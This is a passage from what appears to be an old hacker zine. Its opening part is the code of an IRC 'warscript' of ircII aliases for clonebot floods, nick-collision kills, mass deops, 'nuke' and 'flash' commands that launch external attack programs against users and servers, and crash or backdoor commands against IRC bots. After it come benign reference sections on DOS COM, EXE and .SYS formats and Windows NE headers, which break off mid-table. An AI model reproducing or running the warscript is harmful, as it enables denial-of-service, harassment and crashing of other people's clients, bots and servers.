	    ^colbots.killons $0 $1
		sxecho Collidebot $COLLBOTS[$0]: nickname already in use, disconnected
	    ^assign -COLLBOTS[$0]
	    ^assign -CBSERV[$0]
	 }
    EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 C*" {
	   ^colbots.killons $0 $1
	   sxecho Collidebot $COLLBOTS[$0] has been disconnected by server $1.
	   ^assign -COLLBOTS[$0]
	   ^assign -CBSERV[$0]
    }
	//^dcc raw $CBSOCKET $0 NICK $2
	//^dcc raw $CBSOCKET $0 USER $randcrap(8) $HOSTROOT $0 :$CJUNKSTR
	  sxecho Collidebot $2 created on server $0 \(Socket: $CBSOCKET\)
	 ^assign CBSERV[$CBSOCKET] $0
	 ^assign -CBSOCKET
  }
  {/sxecho Error connecting Collidebot $2 to server $0.}
}

alias colbots.help {
  sxecho +-----------------+ Scythe Nick Collision Bots Help +------------------+
  sxecho   Usage: /CBOTS <command>, where <command> is:
  sxecho    make <nick> <server> [<port#>]   - Create a single Collidebot.
  sxecho    kill [<nick>]                    - Kill Collidebot <nick> or ALL.
  sxecho    list                             - List Collidebots online.
  sxecho    dupeops <server> [<port#>]       - Like dupe, but only gets ops.
  sxecho    newnick <oldnick> <newnick>      - Change a Collidebot's nick.
  sxecho    dupe <server> [<port#>]          - Duplicate all nicks on your
  sxecho                                       channel but you on <server>.
  sxecho   The following two commands are used in conjunction:
  sxecho    find                             - Finds lagged servers and adds
  sxecho                                       them to your collide server list,
  sxecho                                       which is used in DESTROY.
  sxecho    destroy <nick> [<server>]        - Attempts to collision kill
  sxecho                                       <nick>. If <server> is specified
  sxecho                                       it will use that server. If not,
  sxecho                                       CBOTS will create a collision bot
  sxecho                                       on every server in the collide
  sxecho                                       server list.
  sxecho +----------------------------------------------------------------------+
  sxecho   If <port#> is left out with any of these, the default is 6667.  If
  sxecho   <nick> is left out with kill, it disconnects all your Collidebots.
  sxecho +----------------------------------------------------------------------+
}

alias cbots {
   if (match($0 MAKE FIND DESTROY KILL DUPE DUPEOPS LIST NEWNICK)) {
     if ([$0] == [NEWNICK]) {
	 if ([$2]) {
	   ^assign CHANGEDONE N
	    foreach COLLBOTS XX {
		 if ([$COLLBOTS[$XX]] == [$1]) {
		   //^dcc raw $XX $CBSERV[$XX] NICK $2
		   ^assign COLLBOTS[$XX] $2
		   ^assign CHANGEDONE Y
		 }
	    }
	   if ([$CHANGEDONE] == [N]) {/sxecho $1: no Collidebots match that nick}
	  ^assign -CHANGEDONE
	 }
	 {/sxecho Usage: /CBOTS newnick <oldnick> <newnick>}
    }
    if ([$0] == [MAKE]) {
	 if ([$2]) {
	   if ([$3] > 0) {^assign MPORT $3}
	   {^assign MPORT 6667}
	   ^colbots.make $2 $MPORT $1
	   ^assign -MPORT
	 }
	 {/sxecho Usage: /CBOTS make <nick> <server> [<port#>]}
    }
    if ([$0] == [KILL]) {
	 if ([$1]) {
	   ^assign KILLEDONE N
	    foreach COLLBOTS XX {
		 if ([$COLLBOTS[$XX]] == [$1]) {
		   //^dcc close raw $XX
		   ^colbots.killons $XX $CBSERV[$XX]
		   sxecho Collidebot $COLLBOTS[$XX] disconnected.
		   ^assign -COLLBOTS[$XX]
		   ^assign -CBSERV[$XX]
		   ^assign KILLEDONE Y
		 }
	    }
	   if ([$KILLEDONE] == [N]) {/sxecho $1: No Collidebots match that nick.}
	  ^assign -KILLEDONE
	 }
	 {
	   foreach COLLBOTS XY {^cbots kill $COLLBOTS[$XY]}
	   sxecho All Collidebots have been disconnected.
	 }
    }
    if ([$0] == [DUPE]) {
	 if ([$1]) {/_dodupe}
	  {/sxecho Usage: /CBOTS dupe <server> [<port#>].}
    }
    if ([$0] == [DUPEOPS]) {
	 if ([$1]) {
	   ^on ^who "*" {
		if (([$1] != [$N])&&([$1] != [$GBNICK])) {
		  ^assign KILLNIX[$rand(9999999)] $1
		}
	   }
	   sxecho Duplicating all channel ops on $C via server $1.
	   ^who -chops *
	   wait
	   ^on who - "*"
	   foreach KILLNIX XT {
		^cbots make $KILLNIX[$XT] $1-
		^assign -KILLNIX[$XT]
	   }
	 }
	 {/sxecho Usage: /CBOTS dupeops <server> [<port#>]}
    }
    if ([$0]==[LIST]) {/_listbots}
    if ([$0]==[FIND]) {/_findservs}
    if ([$0]==[DESTROY]) {
       ^assign -destroyserv
       ^assign destroyport 6667
       if ([$3]) {
	   ^assign destroyserv $2
	   ^assign destroyport $3-
       }
       if ([$2]) {^assign destroyserv $2}
       if ([$1]) {
	  if ([$SERV[0]]==[]) {/_getservs}
	  if ([$destroyserv]==[]) {
	     sxecho Creating collide bots for $1 on $cservnum servers, please wait...
	     _botsmake $1-
	  }
	  {
	     sxecho Creating collide bot on server $2-, please wait...
	     _botsmake2
	  }
       }
       {/sxecho Usage: /CBOTS DESTROY <nickname> [<server>]}
    }
  }
  {/colbots.help}
}

alias _getservs {
   purge serv
   @ cservnum = 0
   foreach CSERV XX {
      ^assign serv[$XX] $CSERV[$XX]
      @ cservnum = cservnum + 1
   }
}

alias _botsmake {
	     foreach serv XX {
		 sxecho Connecting to server $serv[$XX]\...
		^assign servp[$XX] $connect($serv[$XX] 6667)
		if (servp[$XX] > 0) {
		   ^on ^dcc_raw "% % D % 433 % % :*" {^timer 5 //^dcc raw $0 $1 NICK $6}
		   //^dcc raw $servp[$XX] $serv[$XX] NICK $1
		   //^dcc raw $servp[$XX] $serv[$XX] USER $tolower($randcrap(9999999)) # # :*Unknown*
		   EVAL ^timer 60 _closeraw $servp[$XX] $serv[$XX]
		}
	     }
}

alias _botsmake2 {
	      sxecho Connecting to server $destroyserv\...
	      ^assign dserv $connect($destroyserv $destroyport)
	      ^on ^dcc_raw "% % D % 433 % % :*" {^timer 5 //^dcc raw $0 $1 NICK $6}
	       //^dcc raw $dserv $destroyserv NICK $1
	       //^dcc raw $dserv $destroyserv USER $tolower($randcrap(9999999)) # # :*Unknown*
	       EVAL ^timer 60 _closeraw $dserv $destroyserv
}

alias _dodupe {
	   ^on ^who "*" {
	       if ([$1] != [$N]) {^assign KILLNIX[$rand(9999999)] $1}
	   }
	   sxecho Duplicating all nicknames on $C on server $1.
	  ^who *
	   wait
	   ^on who - "*"
	    foreach KILLNIX XT {
		  ^cbots make $KILLNIX[$XT] $1-
		  ^assign -KILLNIX[$XT]
	    }
}

alias _listbots {
	 ^assign IHAVEBOTZ N
	  foreach COLLBOTS XX {
	     sxecho $COLLBOTS[$XX] on server $CBSERV[$XX] \(Socket: $XX\)
	    ^assign IHAVEBOTZ Y
	  }
	  if ([$IHAVEBOTZ] == [N]) {/sxecho You have no Collidebots online.}
	  ^assign -IHAVEBOTZ
}

alias _findservs {
	sxecho Finding lagged servers and adding them to your DESTROY list...
	purge serv
	 _getservs
	^on ^364 "*" if (([$3]>[9])&&(!rmatch($1 ?.*))) { 
	     sxecho Added server $1 to DESTROY list of $cservnum\ servers.
	    ^assign serv[$cservnum] $1
	    @ cservnum = cservnum + 1
	}
	//links
	wait -CMD ^on 364 - "*"
}

alias _closeraw {
   //^dcc raw $0 $1 QUIT :Leaving
   ^on dcc_raw - "% % D % 433 % % :*"
    sxecho Connection closed \(Raw socket $0 to $1\)
}

### Clonebot Assault Program

alias assault {
   if ([$0]) {
   /sxecho Beginning 5 minute clonebot assault sequence on $0.
   @ numtouse = [$"[S/X] Number of clonebots to use <ENTER for 3>: "]
   if ([$numtouse]!=[]) {/sxecho Using $numtouse clonebots\.}
   {
	@ numtouse = 3
	sxecho Using default number of $numtouse clonebots.
   }
   @ assaultserver = [$"[S/X] Server to use <ENTER for random>: "]
   if ([$assaultserver]!=[]) {/sxecho Using server $assaultserver for the assault.}
   {/sxecho Clonebots will be spawned on random servers.
   @ assaultserver = [random]}
   @ assaultdesc = [$"[S/X] IRCNAME for the bots <ENTER for junk>: "]
   if ([$assaultdesc]!=[]) {/sxecho Using IRCNAME $assaultdesc for the clonebots.}
   @ defaultnick = [$"[S/X] Default nick prefix for the bots <ENTER for junk>: "]
   if ([$defaultnick]!=[]) {/sxecho Using $defaultnick for the clonebots.}
   {
	 ^assign defaultnick RANDOM
	 /sxecho Using random junk nick for the clonebots.
   }
    /sxecho Assault program engaged on $0\, please wait...
   EVAL /clonebots clone $numtouse $assaultserver $defaultnick $assaultdesc
   wait
   if (rmatch($0 #*)) {/clone ALL join $0;wait}
   /sxecho Engaging flood sequence on $0.
   /clone all junkflood $0
    ^timer 50 /clone all sedflood $0
    ^timer 75 /clone all multiflood $0
    ^timer 100 /clone all versionflood $0
    ^timer 125 /clone all randnick
    ^timer 150 /clone all pingflood $0
    ^timer 175 /clone all randnick
    ^timer 200 /clone all tsunami $0
    ^timer 240 /clone all tsunami $0
    ^timer 300 /clonebots kill all
   /sleep 1
   /sxecho Assault program on $0 in progress. ALL clonebots will be
   /sxecho automatically disconnected in five minutes.
  }
 {/sxecho Usage: /ASSAULT <#channel/nick>.}
}

### Megadeop with Nick Change

alias nickmdop {
  EVAL ^assign OLDNICK $N
  ^on ^who "*" {
    if ([$1]!=[$N]) {
	 if (rmatch($2 *@*)) {
	^assign mdopz $1 ${mdopz}
	}
	 }
    }
  ^who *
  /wait
  /listmdopnicks $mdopz
  ^assign -mdopz
  EVAL //nick $OLDNICK
  ^assign -OLDNICK
  ^on who - "*"
}

alias listmdopnicks {
  quote MODE $C -oooo $0 $1 $2 $3
  quote NICK _$rand(99999999)
  if ([$4]) {/listmdopnicks $4-}
}

### Flash & Nuke Commands

alias flash {
  if ([$0]) {
    Userhost $0 -CMD if ([$3]) {
	 if ([$4]!=[<UNKNOWN>]) {
	   ^exec $flash_pgm $strip(#;~ $3)@$4 &
	   ^exec $flash_pgm $strip(#;~ $3)@$4 &
	    sxecho Flashed $0 \($strip(#;~ $3)@$4\)
	 }
	 {/sxecho I can't find $0 on IRC.}
    }
  }
  {/sxecho Usage: /FLASH <nick>.}
}

alias mflash {
  if ([$0]) {
    Userhost $0 -CMD if ([$3]) {
	 if ([$4]!=[<UNKNOWN>]) {
	   ^exec $mflash_pgm cs.bu.edu loser@kiss.my.ass.edu $strip(;#~ $3)@$4
	    sxecho Mail flashed $0 \($strip(;#~ $3)@$4\).
	 }
	 {/sxecho I can't find $0 on IRC.}
    }
  }
  {/sxecho Usage: /MFLASH <nick>.}
}

alias listmassflash {
  ^exec -name flash $flash_pgm $1
  wait %flash
  sxecho I have flashed $0 \($1\)
  if ([$2]) {^listmassflash $2-}
}

alias massflash {
  ^on ^who "*" {
      if ([$1]!=[$N]) {^assign FLASHLOSERS $1 $strip(;#~ $3)@$4 ${FLASHLOSERS}}
  }
  ^who $C
   wait -CMD nextflash
}

alias nextflash {
  ^on who - "*"
  ^listmassflash $FLASHLOSERS
  ^assign -FLASHLOSERS
}

alias nuke {
 if ([$0]) {
   ^on ^311 "*" {^assign ndomain $3}
   ^on ^312 "*" {^assign nserver $1}
   ^on ^319 "*" #
   ^whois $0
    wait
    EVAL ^exec $nuke_pgm $ndomain $nserver unreach &
    EVAL ^exec $nuke_pgm $nserver $ndomain unreach &
   /sxecho Sent nuke for $0 at $ndomain on server $nserver\.
   ^on 311 - "*"
   ^on 312 - "*"
   ^on 319 - "*"
   ^assign -ndomain
   ^assign -nserver
  }
  {/sxecho Usage: /NUKE <nick>. You must have root access to use.}
}

# Server Nuke (by Vassago)

alias snuke {
      if ([$0]) {
	 ^assign nserver1 $0
	 ^on ^364 "*" {
	     if (rmatch($2 ?.*)) {
		  sxecho Invalid server name $2.
		  sxecho Enter a valid server name that matches that mask:
		 ^assign nukeprompt $word(0 $"$2 is also: ")
		 ^assign nserver2 $nukeprompt
		 ^assign -nukeprompt
	     }
	     {^assign nserver2 $2}
	 }
	 //links $0
	 wait -CMD #
	 if ([$nserver2] != []) {
	     EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach &
	     EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach &
	     wait
	     EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach &
	     EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach &
	 }
	 {/sxecho Error: uplink to $nserver1\ not found.}
	 sxecho Sent nuke to $nserver1\ and $nserver2\.
	^on 364 - "*"
	^assign -nserver1
	^assign -nserver2
     }
     {
	/sxecho Usage: /SNUKE <server>. You cannot be on the same server
	/sxecho as the server you are trying to nuke! This command will
	/sxecho double-nuke the server. You must have root access to use.
     }
}

### Yet Another Flood Alias

alias flood {
  if ([$0]) {
    if ([$1]) {^assign SR $1}
      {^assign SR $S}
    if ([$2]) {^assign PT $2}
      {^assign PT 6667}
    ^set input_prompt Flooding $0...
    ^set display off
    sxecho Creating connections... \(using server ${SR}, port $PT\)
    EVAL ^assign FB[0] $connect($SR $PT)
    EVAL ^assign FB[1] $connect($SR $PT)
    EVAL ^assign FB[2] $connect($SR $PT)
    ^set display on
    if ((FB[0] > 0)&&(FB[2] > 0)) {
      sxecho Signing on...
      ^dcc raw $FB[0] $SR NICK $randcrap(9)
      ^dcc raw $FB[1] $SR NICK $randcrap(9)
      ^dcc raw $FB[2] $SR NICK $randcrap(9)
      ^dcc raw $FB[0] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR
      ^dcc raw $FB[1] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR
      ^dcc raw $FB[2] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR
      sleep 2
      sxecho Flooding... (connections will die when flooding is finished).
      sleep 3
      if (ischannel($0)) {
	^dcc raw $FB[0] $SR JOIN $0
	^dcc raw $FB[1] $SR JOIN $0
	^dcc raw $FB[2] $SR JOIN $0
	}
      foreach FB XX {
	EVAL ^timer 3 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
	EVAL ^timer 6 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
	EVAL ^timer 9 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
	EVAL ^timer 12 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
	EVAL ^timer 16 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
	}
      EVAL ^timer 20 ^dcc raw $FB[0] $SR QUIT :$TSU
      EVAL ^timer 20 ^dcc raw $FB[1] $SR QUIT :$TSU
      EVAL ^timer 20 ^dcc raw $FB[2] $SR QUIT :$TSU
      }
      {/sxecho Error connecting to $SR\.}
    ^assign -FB[0]
    ^assign -FB[1]
    ^assign -FB[2]
    ^assign -SR
    ^assign -PT
    ^set -input_prompt
    }
    {/sxecho Usage: /FLOOD <nick/channel> [<server>] [<port#>]}
}

### BACKDOOR/BOT KILLER Add Ons (by Maeglar, Modified by Vassago)
# Thanks go to the Knights of IRC for these interesting aliases.

alias wskill {
   sxecho Sending WSIRC Kill to Channel $C\.
   //ctcp $C a
}

alias vkill1 {
  if ([$0]) {
    sxecho Trying to SIGSEV VladBot $0, please wait...
    //^dcc chat $0
    //^msg $0 note create public time to die
    //^msg $0 note delline
    //^msg $0 note delline 8
    if ([$1]) {/vkill1 $1-}
  }
  {/sxecho Usage: /VKILL1 <botnick>.}
}

ALIAS VKILL2 {
   if ([$0]) {
      //dcc chat $0
      //msg $0 note create public 4 m-eye frendz
      //msg $0 note delline 2
   }
   {/sxecho Usage: /VKILL2 <bot nickname>.}
}

alias vkill3 {
  if ([$0]) {
     //dcc chat $0
     wait
     dccflood $0
     ^timer 15 dccflood $0
     ^timer 30 dccflood $0
  }
  {/sxecho Usage: /VKILL3 <bot nickname>.}
}

alias com1 {
  if ([$0]) {
    //^msg $0 dcc
    sxecho Trying to SIGSEV ComBot $0 with the DC bug...
    if ([$1]) {/com1 $1-}
  }
  {/sxecho Usage: /COM1 <nickname of ComBot>.}
}

alias com2 {
  if ([$0]) {
    //^msg $0 bleaht33h33bleah quit :SIGSEV - Fuck I'm a stupid dickhead like my owner.
    sxecho Trying to backdoor ComBot $0 to quit...
    if ([$1]) {/com2 $1-}
  }
  {/sxecho Usage: /COM2 <nickname of ComBot>.}
}

alias com3 {
  if ([$0]) {
    //^msg $0 seen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
    sxecho Trying to SIGSEV ComBot $0 with the seen bug...
    if ([$1]) {/com3 $1-}
  }
  {/sxecho Usage: /COM3 <nickname of ComBot>.}
}

alias cc {
  if ([$0]) {
    //^msg $0 
    sxecho Trying to get ComBot command character from $0.
    if ([$1]) {/cc $1-}
  }
  {/sxecho Usage: /CC <nickname of Combot to get Command Character>.}
}

alias hc {
  if ([$0]) {
    //^ctcp $0 cmdchar
    sxecho Trying to obtain HackBot command character from $0...
    if ([$1]) {/hc $1-}
  }
  {/sxecho Usage: /HC <nickname of HackBot>.}
}

alias dweeb {
  if ([$0]) {
    //^ctcp $0 ooook
    sxecho Trying to kill $0 with the DweeBot backdoor...
    if ([$1]) {/dweeb $1-}
  }
  {/sxecho Usage: /DWEEB <nickname of DweebBot>.}
}

alias hackkill {
  if ([$2]) {
     sxecho Attempting to kill the hackbot $0\...
     sxecho If you have no DCC CHAT connection to $0\ this will not work.
     //^msg =$0 $1\stats $2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2
  }
  {
     sxecho USAGE: /hackkill <bot> <their command char> <a ten letter word>
     sxecho You can get the command character by typing /HC <botnick>.
     sxecho You ALSO need to have an active DCC CHAT with <botnick>.
  }
}

alias hackkill2 {
   if ([$0]) {
      sxecho Trying to SIGSEV HackBot $0\...
      //ctcp $0 ACTION
   }
   {
      sxecho Sending SIGSEV for HackBots to $C\...
      //ctcp $C ACTION
   }
}

### WAR Help Commands

alias pause2 {
  ^assign PAUSETEMP $"-Enter to Continue-"
  ^assign -PAUSETEMP
}

alias WARHELP {
   echo +----------------------------------------------------------------------+
   echo |        - + Scythe IRC Warscript by Vassago - Command HELP + -        |
   echo +----------------------------------------------------------------------+
   echo | /NICKMDOP - Does a mega deop with nick change, deops by 4.           |
   echo | /K(name) - Sets a channel key bomb: /kdie, /kfont, /kinvert,         |
   echo |   /kinvert, /ksz, /kcls, /kfire, /kreset, /ksatan, /ktsunami.        |
   echo | /CBOTS HELP - Gives you an extended help on the Serpent script       |
   echo |   clonebots collision killer. This killer uses script clonebots      |
   echo |   much like Vassago's Serpent Collision Script v2.12 did.            |
   echo | /KILLHOST (server) - Changes the collision killer host to <server>.  |
   echo | /CLONE (bot # or ALL) (action) - Tells your clonebots to do <action>.|
   echo |   Type /CLONE HELP to view the examples and lists of actions.        |
   echo | /CLONEBOTS HELP - Gives you an extended help on Clonebots & commands.|
   echo | /CLONESPY HELP - Gives you an extended help on Clonebots spy Levels. |
   echo | /OPCLONES - Ops all of YOUR clonebots on your current channel.       |
   echo | /CK - Kills (disconnects) all clonebots.                             |
   echo | /ASSAULT (nick/#channel) - Starts an assault program, a really nasty |
   echo |   one, on <nick/#channel>. This attempts to flood them off IRC.      |
   echo | /TSUNAMI (nick/channel) - Dumps the TSUNAMI string to <nick/channel>.|
   echo | /NICKFLOOD (#) - Does a random nick flood with numbers, changes <#>. |
   /pause2
   echo | /DCCFLOOD (nick) - Sends a really nasty DCC CHAT flood to <nick>.    |
   echo | /DCCBOMB (nick) - Sends a DCC autoget bomb to <nick>.                |
   echo | /DCCTSUNAMI (nick) - Tsunamis <nick> with DCC SENDs.                 |
   echo | /PINGFLOOD (nick/channel) - Ping floods <nick/channel>.              |
   echo | /PONGFLOOD (nick) - Pong floods <nick>.                              |
   echo | /TOOLZBOMB (nick/channel) - CTCP ToolZ floods the person.            |
   echo | /VERFLOOD (nick/channel) - CTCP VER floods the person.               |
   echo | /MULTIFLOOD - Sends them a little of each type of flood.             |
   echo | /SEDFLOOD - Floods with CTCP "SED" (Gives them Encrypted Message).   |
   echo | /CTCPFLOOD (nick/channel) - CTCP CLIENTINFO Floods <nick/channel>.   |
   echo | /SERVFLOOD (server) (count) - Floods all umode +s people on <server>.|
   echo | /FLASH (nick) - Flashes <nick>. You must have flash.c compiled       |
   echo |   to use. See variables at top of this script. <same for nuke>       |
   echo | /MFLASH (nick) - Mail flashes <nick>. You must have mflash.c.        |
   echo | /MASSFLASH - Flashes everyone on your current channel.               |
   echo | /NUKE (nick) - Nukes <nick>. You must have nuke.c compiled, in your  |
   echo |   current directory, and have root access to use this command.       |
   echo | /SNUKE (server) - Nukes <server>. (See above restrictions).          |
   echo | Note: the default filenames, etc. for nuke and flash can be edited   |
   echo | by manually changing the variables at the beginning of the script.   |
   pause2
   echo | +--+ CURRENT BACKDOOR ATTEMPTERS +---------------------------------+ |
   echo | /WSKILL - Kills all WSIRC users on your current channel.             |
   echo | /VKILL1 <nicks> - Attempts to SIGSEV VladBots.                       |
   echo | /VKILL2 <nicks> - Kills newer vlad versions.                         |
   echo | /VKILL3 <nicks> - Kills 3.01 vlad versions.                          |
   echo | /COM1 <nicks> - Uses ComBot DCC SIGSEV.                              |
   echo | /COM2 <nicks> - Uses ComBot bleaht33h33bleah Kill.                   |
   echo | /COM3 <nicks> - Uses ComBot seen SIGSEV.                             |
   echo | /CC <nicks> - Gets ComBot command character.                         |
   echo | /HC <nicks> - Gets HackBot command character.                        |
   echo | /DWEEB <nicks> - Attempts to Backdoor DweeBots.                      |
   echo | /HACKKILL <bot> <their command char> <a ten letter word> - This will |
   echo |   attempt to kill a HackBot also, but you need a DCC CHAT connection.|
   echo | /HACKKILL2 <bot> - Attempts to SIGSERV HackBots.                     |
   echo +----------------------------------------------------------------------+
}

assign LOADING LOADING
EVAL ^killhost $DEFAULTKILLHOST
EVAL //^mode $N +i
EVAL $srand($time())
EVAL ^assign JUNKSTR $tolower($encode($encode($encode($randcrap(2)$encode($encode($encode($randcrap(8))))))))
EVAL ^assign CJUNKSTR $randcrap(4)
echo [S/X] For the latest versions of all Vassago's scripts you should FTP
EVAL echo [S/X] to Vassago's Public Domain IRC site at jcowan.reslife.okstate.edu.
echo [S/X] DO NOT use this script unless you get it directly from my FTP site!
echo [S/X] SCYTHE IRC Warscript is now loaded. Type /WARHELP for HELP.



[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

-----------------------------------+
06 - Guide to DOS .com executables |
-----------------------------------+

COM Format
Intel byte order

Information from File Format List 2.0 by Max Maischein.

--------!-CONTACT_INFO----------------------
If you notice any mistakes or omissions, please let me know!  It is only
with YOUR help that the list can continue to grow.  Please send
all changes to me rather than distributing a modified version of the list.

This file has been authored in the style of the INTERxxy.* file list
by Ralf Brown, and uses almost the same format.

Please read the file FILEFMTS.1ST before asking me any questions. You may find
that they have already been addressed.

         Max Maischein

Max Maischein, 2:244/1106.17
Max_Maischein@spam.fido.de
corion@informatik.uni-frankfurt.de
Corion on #coders@IRC
--------!-DISCLAIMER------------------------
DISCLAIMER:  THIS MATERIAL IS PROVIDED "AS IS".  I verify the information
contained in this list to the best of my ability, but I cannot be held
responsible for any problems caused by use or misuse of the information,
especially for those file formats foreign to the PC, like AMIGA or SUN file
formats. If an information it is marked "guesswork" or undocumented, you
should check it carefully to make sure your program will not break with
an unexpected value (and please let me know whether or not it works
the same way).

Information marked with "???" is known to be incomplete or guesswork.

Some file formats were not released by their creators, others are regarded
as proprietary, which means that if your programs deal with them, you might
be looking for trouble. I don't care about this.
--------------------------------------------

The COM files are raw binary executables and are a leftover from the old CP/M
machines with 64K RAM.  A COM program can only have a size of less than one
segment (64K), including code and static data since no fixups for segment
relocation or anything else is included. One method to check for a COM file is
to check if the first byte in the file could be a valid jump or call opcode, but
this is a very weak test since a COM file is not required to start with a jump
or a call. In principle, a COM file is just loaded at offset 100h in the segment
and then executed.

OFFSET              Count TYPE   Description
0000h                   1 byte   ID=0E9h
                                 ID=0EBh
                                 Those are not safe ways to determine wether a
                                 file is a COM file or not, but most COM files
                                 start with a jump.

[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

-----------------------------------+
07 - Guide to DOS .exe executables |
-----------------------------------+

offset  length  description                             comments
----------------------------------------------------------------------
0       word    exe file signature                      usually 4d5a
2       word    length of last used sector in file      modulo 512
4       word    size of file, incl. header              in 512-pages
6       word    number of relocation table items
8       word    size of header                          in 16-byte paragraphs
a       word    min. paragraphs needed above program    in 16-byte paragraphs
c       word    max. paragraphs needen above program    in 16-byte paragraphs
e       word    displacement of stack segment in module rel. to start of prog.
10      word    contents of SP reg. at entry
12      word    checksum                                2's complement
14      word    contents of IP reg. at entry
16      word    displacement of code module             rel. to start of prog.
18      word    offset to first relocation item in file rel. to start of prog.
1a      word    overlay number                          0 for resident prog.
1c      varies  variable RESERVED place
varies  varies  relocation table
varies  varies  variable RESERVED place
varies  varies  program and data space
varies  varies  stack segment

The relocation table is a set of far pointers (eg: 1234:5678h) and it appears
you just add the relocation factor to the value at that address. The relocation
factor is the start segment of where the program is loaded.

Example:
------------------------------------------------
code segment
start:
        mov     ax,seg _myseg
code ends

_myseg segment
_myseg ends
end start
-------------------------------------------------

 Start  Stop   Length Name               Class

 00000H 00002H 00003H CODE
 00010H 00010H 00000H _MYSEG

-------------------------------------------------

Note that _MYSEG is exactly one segment above CODE.

Generated output is B8 01 00; which is "mov ax,0001"

The fixup table for this file has a single entry, 0000:0001. Thus if the start
of the program begins at segment 3562 then the "mov ax,0001" gets converted to
"mov ax,3563".



[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

---------------------------------+
08 - Guide to DOS device drivers |
---------------------------------+

===========================================================================
From: BRIAN FRASER                 Refer#: NONE
  To: MATHIEU BOUCHARD              Recvd: NO  
Subj: .SYS format.                   Conf: (99) 80xxxProgr
---------------------------------------------------------------------------

Main Header:

00h word  - Link to next driver, offset
02h word  - Link to next driver, segment
04h word  - Device Attribute
06h word  - Strategy entry point, offset
0ah word  - interrupt entry point, offset
-- Character device --
0ch 8 bytes - Logical Name
-- Block device --
0ch byte  - Number of units


Header Attribute word:
bit 15    - 1= Character device; 0= Block device
bit 14    - 1= IOCTL read and write supported
-- Character device --
bit 13    - 1= Output until busy supported
-- Block device --
bit 13    - 1= Check BIOS to determine media characteristics; 0= Media ID
               should be used instead
bit 12    - should be 0
bit 11    - 1= if open/close/removable media supported
bit 7-10  - 0
bit 6     - 1= if generic IOCTL and get/set logical drive supported
bit 5     - 0
bit 4     - 1= if CON driver and int 29h fast-output supported
bit 3     - 1= if current CLOCK$ device
bit 2     - 1= if current NULL device
-- Character device --
bit 1     - 1= if standard output device (stdout)
-- Block device --
bit 1     - 1= if 32bit sector addressing supported
bit 0     - 1= if current standard input device (stdin)


Strategy Request Header:
00h byte  - length of request header
01h byte  - unit number for this request
02h byte  - request headers command code
03h word  - drivers return status
05h 8 bytes - ? (reserved)

The rest of the header varies depending on what function is being called.

I would think it's best to find a book, as I don't really want to type out all
the different headers for each function. :)

This book I am using is Advanced MS-DOS, Second Ed. Provided, it's a little out
of date, but alot of the information is still the same. Plus, I got it for 8
bucks.. Can't complain for that price! :)  Check out the book list.


Heres just a little info on what the above headers are for...

There are two different kinds of device drivers. Character, and Block.
Character devices handle 1 character at a time, while Block devices deal with
Blocks of data. Character devices can have a logical name like "MYSYS", which
can be used like "CON" or "PRN" etc.. Block devices use units (drives), which
are assigned upon install.

The Main Header is the first few bytes of the SYS file, The link to next driver
is to be -1:-1 (or FFFF:FFFF) unless there is more then one driver in this SYS
file, then you set this to the next driver in the chain. BUT, the last driver
must have FFFF:FFFF as the next driver, or you have big problems! :)

The Device attribute is fairly strate forward.

The strategy routine is a routine that is called my DOS with the address of the
Request Header. All this routine has to do is save the address in a local
memory location.

The interrupt routine is then called after the strategy routine. The interrupt
routine process the request header, and performs the requested function, and
returns.

If you can't find a book.. Maybe I'll type out the return attributes, and the
info for each function.

       Brian

[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

--------------------------------------+
08 - Guide to Windows New Executables |
--------------------------------------+

Executable-File Header Format (3.1)

An  executable  (.EXE)  file  for  the  Windows  operating  system  contains  a
combination of code and data or a combination of code, data, and resources. The
executable  file also  contains two  headers: an  MS-DOS header  and a  Windows
header.  The  next  two  sections  describe  these  headers;  the third section
describes the code and data contained in a Windows executable file.

MS-DOS Header

The MS-DOS  (old-style) executable-file header contains  four distinct parts: a
collection of  header information (such as  the signature word, the  file size,
and so on), a reserved section, a  pointer to a Windows header (if one exists),
and a stub program. The following illustration shows the MS-DOS executable-file
header: If the  word value at offset 18h  is 40h or greater, the  word value at
3Ch is typically  an offset to a Windows header.  Applications must verify this
for each executable-file header being tested, because a few applications have a
different header  style. MS-DOS uses the  stub program to display  a message if
Windows has not been loaded when the user attempts to run a program.

Windows Header

The Windows  (new-style) executable-file header  contains information that  the
loader requires  for segmented executable files.  This information includes the
linker  version number,  data specified  by the  linker, data  specified by the
resource compiler, tables of segment data,  tables of resource data, and so on.
The following illustration shows the Windows executable-file header:

The  following sections  describe the  entries in  the Windows  executable-file
header.

Information Block

The information block in the Windows header contains the linker version number,
the lengths  of various tables that  further describe the executable  file, the
offsets from the beginning of the header  to the beginning of these tables, the
heap and stack sizes, and so on.  The following list summarizes the contents of
the header  information block (the locations  are relative to the  beginning of
the block):

Loc     Description

00h     The signature word.  The low byte contains "N" (4Eh)  and the high byte
        contains "E" (45h).
02h     The linker version number.
03h     The linker revision number.
04h     The  offset  to  the  entry  table  (relative  to  the beginning of the
        header).
06h     The length of the entry table, in bytes.
08h     Reserved.
0Ch     Flags that describe the contents of the executable file. This value can
        be one or more of the following bits:

        Bit     Meaning

